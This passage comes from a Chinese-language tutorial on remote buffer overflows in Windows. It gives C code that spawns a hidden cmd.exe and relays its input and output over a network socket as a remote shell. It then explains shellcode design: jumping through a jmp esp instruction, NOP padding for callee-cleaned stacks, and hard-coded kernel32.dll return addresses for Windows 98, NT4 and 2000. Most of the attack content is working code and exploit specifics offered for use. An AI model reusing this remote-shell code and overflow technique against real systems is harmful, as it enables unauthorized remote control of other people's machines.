windows系统下的远程溢出方法( 二 )


si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformati
on);
/*
这段代码创建了一个shell(cmd.exe),并且把cmd.exe的标准输入用第二个管道的
读句柄替换 。cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换 。
这两个管道的逻辑示意图如下:
(父进程) read<---〔管道一〕<---write 标准输出(cmd.exe子进程)
(父进程) write--->〔管道二〕--->read 标准输入(cmd.exe子进程)
*/
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
/*
这段代码完成了客户输入和shell的交互 。PeekNamedPipe用来异步的查询管道一,
看看shell是否有输出 。如果有就readfile读出来,并发送给客户 。如果没有,
就去接受客户的输入 。并writefile写入管道传递给shell.
这两个管道与client和server的配合逻辑图如下:
输入命令(Client) <-- send(父进程) read<--〔管道一〕<--write 标准输出
(cmd.exe子进程)
获得结果(Client) recv-->(父进程)write-->〔管道二〕-->read 标准输入
(cmd.exe子进程)
*/
return 0;
}
/***************************************************************************
*/
----shellcode疑难问题
下面来写shellcode 。针对windows系统缓冲区溢出的特殊性,shellcode有一些新的问题,
我采用如下办法来解决:
1)跳转指令地址的问题
因为在函数返回的时候,esp都指向返回地址后面的地址 。(为什么?因为esp在返回
后要指向的地址,就是父函数在压完参数,准备执行call 子函数之前的堆栈顶 。)
所以,我们的shellcode的开始位置,就是函数返回的时候,esp所指向的位置 。因此,
使用jmp esp 就可以跳到我们的shellcode上来 。
当然,这里面作了一个假设,就是程序是由调用者来负责堆栈的恢复的 。
汇编代码就是这个样子:
push eax;
push ebx;
push ecx;
call SubRutine
add esp,000C
但是,如果是由子程序来负责恢复堆栈,
SubRutine:
....
:010091F3 C9 leave
:010091F4 C20C00 ret 000C
esp就不是指向我们的shellcode开始位置 。它将指向shellcode 0c的位置 。
事实上,当你在试图发现敌人程序的一个溢出点时,这个数值(这里是0C)是可以
很精确的发现的,因为你可以看到他的汇编原代码呀!
为了解决这种情况下shellcode不能被正确执行的问题,我们可以在shellcode前面
加上0c个nop.
这样,我们需要作的事情,就是用内存中一个jmp esp指令的地址,来覆盖敌人程序的返回地址 。
在内存中,当然有很多dll都会有jmp esp指令,我选择了kernel32.dll里面的指令,因为
这kernel32.dll是系统核心DLL,加载在前面,后面的dll安装地址要随前面dll的
变动而变动,为了通用性的考虑,采用KERNEL32.DLL 。
那么这些地址就是固定的了:
win98第二版下(4.00.2222a),返回地址为:0xbff795a3
winnt4下(4.00.1381),返回地址为:0x77f0eac3
win2000下(5.00.2195),返回地址为:0x77e2e32a

推荐阅读